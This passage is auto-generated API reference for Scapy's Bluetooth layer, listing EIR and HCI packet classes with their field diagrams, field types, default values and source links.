fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. EIR_Raw                           


EIR_Raw fields






	data

	StrLenField

	b''















	
class scapy.layers.bluetooth.EIR_ServiceData16BitUUID(_pkt, /, *, svc_uuid=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1144-L1154]

	Bases: EIR_Element


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1151-L1154]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            SVC UUID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. EIR_ServiceData16BitUUID                   


EIR_ServiceData16BitUUID fields






	svc_uuid

	XLEShortField

	None











	
payload_guess

	Possible sublayers:
Eddystone_Frame, Exposure_Notification_Frame










	
class scapy.layers.bluetooth.EIR_ShortenedLocalName(_pkt, /, *, local_name=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1061-L1062]

	Bases: EIR_CompleteLocalName


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           LOCAL NAME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. EIR_ShortenedLocalName                    


EIR_ShortenedLocalName fields






	local_name

	StrLenField

	b''















	
class scapy.layers.bluetooth.EIR_TX_Power_Level(_pkt, /, *, level=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1065-L1067]

	Bases: EIR_Element


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     LEVEL     |
+-+-+-+-+-+-+-+-+

                     Fig. EIR_TX_Power_Level                      


EIR_TX_Power_Level fields






	level

	SignedByteField

	0















	
class scapy.layers.bluetooth.HCI_ACL_Hdr(_pkt, /, *, BC=0, PB=0, handle=0, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L275-L286]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| BC| PB|         HANDLE        |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. HCI_ACL_Hdr                         


HCI_ACL_Hdr fields






	BC

	BitField  (2 bits)

	0



	PB

	BitField  (2 bits)

	0



	handle

	BitField  (12 bits)

	0



	len

	LEShortField

	None











	
payload_guess

	Possible sublayers:
L2CAP_Hdr






	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L282-L286]

	








	
class scapy.layers.bluetooth.HCI_Cmd_Accept_Connection_Request(_pkt, /, *, bd_addr=None, role=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1286-L1295]

	Bases: Packet

7.1.8 Accept Connection Request command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            BD ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |      ROLE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. HCI_Cmd_Accept_Connection_Request              


HCI_Cmd_Accept_Connection_Request fields






	bd_addr

	LEMACField

	None



	role

	ByteField

	1















	
class scapy.layers.bluetooth.HCI_Cmd_Authentication_Requested(_pkt, /, *, handle=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1368-L1376]

	Bases: Packet

7.1.15 Authentication Requested command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             HANDLE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. HCI_Cmd_Authentication_Requested               


HCI_Cmd_Authentication_Requested fields






	handle

	LEShortField

	0















	
class scapy.layers.bluetooth.HCI_Cmd_Change_Connection_Link_Key(_pkt, /, *, handle=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1390-L1398]

	Bases: Packet

7.1.17 Change Connection Link Key command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             HANDLE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

             Fig. HCI_Cmd_Change_Connection_Link_Key              


HCI_Cmd_Change_Connection_Link_Key fields






	handle

	LEShortField

	0















	
class scapy.layers.bluetooth.HCI_Cmd_Change_Connection_Packet_Type(_pkt, /, *, connection_handle=None, packet_type=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1356-L1365]

	Bases: Packet

7.1.14 Change Connection Packet Type command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CONNECTION HANDLE       |          PACKET TYPE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. HCI_Cmd_Change_Connection_Packet_Type            


HCI_Cmd_Change_Connection_Packet_Type fields






	connection_handle

	XLEShortField

	None



	packet_type

	LEShortField

	0















	
class scapy.layers.bluetooth.HCI_Cmd_Complete_LE_Read_White_List_Size(_pkt, /, *, status=0, size=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2042-L2045]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     STATUS    |      SIZE     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

          Fig. HCI_Cmd_Complete_LE_Read_White_List_Size           


HCI_Cmd_Complete_LE_Read_White_List_Size fields






	status

	ByteField

	0



	size

	ByteField

	0















	
class scapy.layers.bluetooth.HCI_Cmd_Complete_Read_BD_Addr(_pkt, /, *, addr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L2037-L2039]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADDR                             |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. HCI_Cmd_Complete_Read_BD_Addr                


HCI_Cmd_Complete_Read_BD_Addr fields






	addr

	LEMACField

	None















	
class scapy.layers.bluetooth.HCI_Cmd_Create_Connection(_pkt, /, *, bd_addr=None, packet_type=52248, page_scan_repetition_mode=2, reserved=0, clock_offset=0, allow_role_switch=1)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1247-L1260]

	Bases: Packet

7.1.5 Create Connection command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            BD ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |          PACKET TYPE          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|PAGE SCAN REPET|    RESERVED   |          CLOCK OFFSET         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|ALLOW ROLE SWIT|
+-+-+-+-+-+-+-+-+

                  Fig. HCI_Cmd_Create_Connection                  


HCI_Cmd_Create_Connection fields






	bd_addr

	LEMACField

	None



	packet_type

	LEShortField

	52248



	page_scan_repetition_mode

	ByteField

	2



	reserved

	ByteField

	0



	clock_offset

	LEShortField

	0



	allow_role_switch

	ByteField

	1















	
class scapy.layers.bluetooth.HCI_Cmd_Create_Connection_Cancel(_pkt, /, *, bd_addr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1275-L1283]

	Bases: Packet

7.1.7 Create Connection Cancel command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            BD ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. HCI_Cmd_Create_Connection_Cancel               


HCI_Cmd_Create_Connection_Cancel fields






	bd_addr

	LEMACField

	None















	
class scapy.layers.bluetooth.HCI_Cmd_Disconnect(_pkt, /, *, handle=0, reason=19)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1263-L1272]

	Bases: Packet

7.1.6 Disconnect command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             HANDLE            |     REASON    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. HCI_Cmd_Disconnect                      


HCI_Cmd_Disconnect fields






	handle

	XLEShortField

	0



	reason

	ByteField

	19















	
class scapy.layers.bluetooth.HCI_Cmd_Exit_Peiodic_Inquiry_Mode(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1237-L1244]

	Bases: Packet

7.1.4 Exit Periodic Inquiry Mode command


	
aliastypes

	








	
class scapy.layers.bluetooth.HCI_Cmd_Hold_Mode(_pkt, /, *, connection_handle=0, hold_mode_max_interval=2, hold_mode_min_interval=2)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1558-L1562]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       CONNECTION HANDLE       |     HOLD MODE MAX INTERVAL    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     HOLD MODE MIN INTERVAL    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. HCI_Cmd_Hold_Mode                      


HCI_Cmd_Hold_Mode fields






	connection_handle

	LEShortField

	0



	hold_mode_max_interval

	LEShortField

	2



	hold_mode_min_interval

	LEShortField

	2















	
class scapy.layers.bluetooth.HCI_Cmd_IO_Capability_Request_Reply(_pkt, /, *, bd_addr=None, io_capability=None, oob_data_present=None, authentication_requirement=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1461-L1484]

	Bases: Packet

7.1.29 IO Capability Request Reply command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                            BD ADDR                            |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               | IO CAPABILITY |OOB DATA PRESEN|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|AUTHENTICATION |
+-+-+-+-+-+-+-+-+

             Fig. HCI_Cmd_IO_Capability_Request_Reply             


HCI_Cmd_IO_Capability_Request_Reply fields






	bd_addr

	LEMACField

	None



	io_capability

	ByteEnumField

	None



	oob_data_present

	ByteEnumField

	None



	authentication_requirement

	ByteEnumField

	None















	
class scapy.layers.bluetooth.HCI_Cmd_Inquiry(_pkt, /, *, lap=10390323, inquiry_length=0, num_responses=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1199-L1209]

	Bases: Packet

7.1.1 Inquiry command


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              LAP                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| INQUIRY LENGTH| NUM RESPONSES |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. HCI_Cmd_Inquiry                       


HCI_Cmd_Inquiry fields






	lap

	XLE3BytesField

	10390323



	inquiry_length

	ByteField

	0



	num_responses

	ByteField

	0















	
class scapy.layers.bluetooth.HCI_Cmd_Inquiry_Cancel(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1212-L1219]

	Bases: Packet

7.1.2 Inquiry Cancel command


	
aliastypes

	








	
class scapy.layers.bluetooth.HCI_Cmd_LE_Add_Device_To_Filter_Accept_List(_pkt, /, *, address_type=0, address=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1733-L1738]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  ADDRESS TYPE |                    ADDRESS                    |
+-+-+-+-+-+-+-+-+                               +-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

         Fig. HCI_Cmd_LE_Add_Device_To_Filter_Accept_List         


HCI_Cmd_LE_Add_Device_To_Filter_Accept_List fields






	address_type

	ByteEnumField

	0



	address

	LEMACField

	None















	
class scapy.layers.bluetooth.HCI_Cmd_LE_Clear_Filter_Accept_List(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1729-L1730]

	Bases: Packet


	
aliastypes

	








	
class scapy.layers.bluetooth.HCI_Cmd_LE_Connection_Update(_pkt, /, *, handle=0, min_interval=0, max_interval=0, latency=0, timeout=0, min_ce=0, max_ce=65535)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1745-L1753]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             HANDLE            |          MIN INTERVAL         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          MAX INTERVAL         |            LATENCY            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            TIMEOUT            |             MIN CE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MAX CE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. HCI_Cmd_LE_Connection_Update                 


HCI_Cmd_LE_Connection_Update fields






	handle

	XLEShortField

	0



	min_interval

	XLEShortField

	0



	max_interval

	XLEShortField

	0



	latency

	XLEShortField

	0



	timeout

	XLEShortField

	0



	min_ce

	LEShortField

	0



	max_ce

	LEShortField

	65535















	
class scapy.layers.bluetooth.HCI_Cmd_LE_Create_Connection(_pkt, /, *, interval=96, window=48, filter=0, patype=0, paddr=None, atype=0, min_interval=40, max_interval=56, latency=0, timeout=42, min_ce=0, max_ce=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1705-L1718]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            INTERVAL           |             WINDOW            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     FILTER    |     PATYPE    |             PADDR             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     ATYPE     |          MIN INTERVAL         |  MAX INTERVAL |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            LATENCY            |    TIMEOUT    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |             MIN CE            |     MAX CE    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                Fig. HCI_Cmd_LE_Create_Connection                 


HCI_Cmd_LE_Create_Connection fields






	interval

	LEShortField

	96



	window

	LEShortField

	48



	filter

	ByteEnumField

	0



	patype

	ByteEnumField

	0



	paddr

	LEMACField

	None



	atype

	ByteEnumField

	0



	min_interval

	LEShortField

	40



	max_interval

	LEShortField

	56



	latency

	LEShortField

	0



	timeout

	LEShortField

	42



	min_ce

	LEShortField

	0



	max_ce

	LEShortField

	0















	
class scapy.layers.bluetooth.HCI_Cmd_LE_Create_Connection_Cancel(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1721-L1722]

	Bases: Packet


	
aliastypes

	








	
class scapy.layers.bluetooth.HCI_Cmd_LE_Enable_Encryption(_pkt, /, *, handle=0, rand=None, ediv=0, ltk=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1761-L1766]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             HANDLE            |              RAND             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              EDIV             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              LTK                              |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. HCI_Cmd_LE_Enable_Encryption                 


HCI_Cmd_LE_Enable_Encryption fields






	handle

	LEShortField

	0



	rand

	StrFixedLenField

	None



	ediv

	XLEShortField

	0



	ltk

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.layers.bluetooth.HCI_Cmd_LE_Long_Term_Key_Request_Negative_Reply(_pkt, /, *, handle=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1775-L1777]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             HANDLE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

       Fig. HCI_Cmd_LE_Long_Term_Key_Request_Negative_Reply       


HCI_Cmd_LE_Long_Term_Key_Request_Negative_Reply fields






	handle

	LEShortField

	0















	
class scapy.layers.bluetooth.HCI_Cmd_LE_Long_Term_Key_Request_Reply(_pkt, /, *, handle=0, ltk=b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1769-L1772]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             HANDLE            |              LTK              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

           Fig. HCI_Cmd_LE_Long_Term_Key_Request_Reply            


HCI_Cmd_LE_Long_Term_Key_Request_Reply fields






	handle

	LEShortField

	0



	ltk

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'















	
class scapy.layers.bluetooth.HCI_Cmd_LE_Read_Buffer_Size_V1(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1638-L1639]

	Bases: Packet


	
aliastypes

	








	
class scapy.layers.bluetooth.HCI_Cmd_LE_Read_Buffer_Size_V2(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1642-L1643]

	Bases: Packet


	
aliastypes

	








	
class scapy.layers.bluetooth.HCI_Cmd_LE_Read_Filter_Accept_List_Size(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1725-L1726]

	Bases: Packet


	
aliastypes

	








	
class scapy.layers.bluetooth.HCI_Cmd_LE_Read_Local_Supported_Features(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1646-L1647]

	Bases: Packet


	
aliastypes

	








	
class scapy.layers.bluetooth.HCI_Cmd_LE_Read_Remote_Features(_pkt, /, *, handle=64)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1756-L1758]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             HANDLE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. HCI_Cmd_LE_Read_Remote_Features               


HCI_Cmd_LE_Read_Remote_Features fields






	handle

	LEShortField

	64















	
class scapy.layers.bluetooth.HCI_Cmd_LE_Remove_Device_From_Filter_Accept_List(_pkt, /, *, address_type=0, address=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1741-L1742]

	Bases: HCI_Cmd_LE_Add_Device_To_Filter_Accept_List


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  ADDRESS TYPE |                    ADDRESS                    |
+-+-+-+-+-+-+-+-+                               +-+-+-+-+-+-+-+-+
|                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

      Fig. HCI_Cmd_LE_Remove_Device_From_Filter_Accept_List       


HCI_Cmd_LE_Remove_Device_From_Filter_Accept_List fields






	address_type

	ByteEnumField

	0



	address

	LEMACField

	None















	
class scapy.layers.bluetooth.HCI_Cmd_LE_Set_Advertise_Enable(_pkt, /, *, enable=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1682-L1684]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     ENABLE    |
+-+-+-+-+-+-+-+-+

               Fig. HCI_Cmd_LE_Set_Advertise_Enable               


HCI_Cmd_LE_Set_Advertise_Enable fields






	enable

	ByteField

	0















	
class scapy.layers.bluetooth.HCI_Cmd_LE_Set_Advertising_Data(_pkt, /, *, len=None, data=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1667-L1673]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      LEN      |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. HCI_Cmd_LE_Set_Advertising_Data               


HCI_Cmd_LE_Set_Advertising_Data fields






	len

	FieldLenField

	None



	data

	PadField

	[]















	
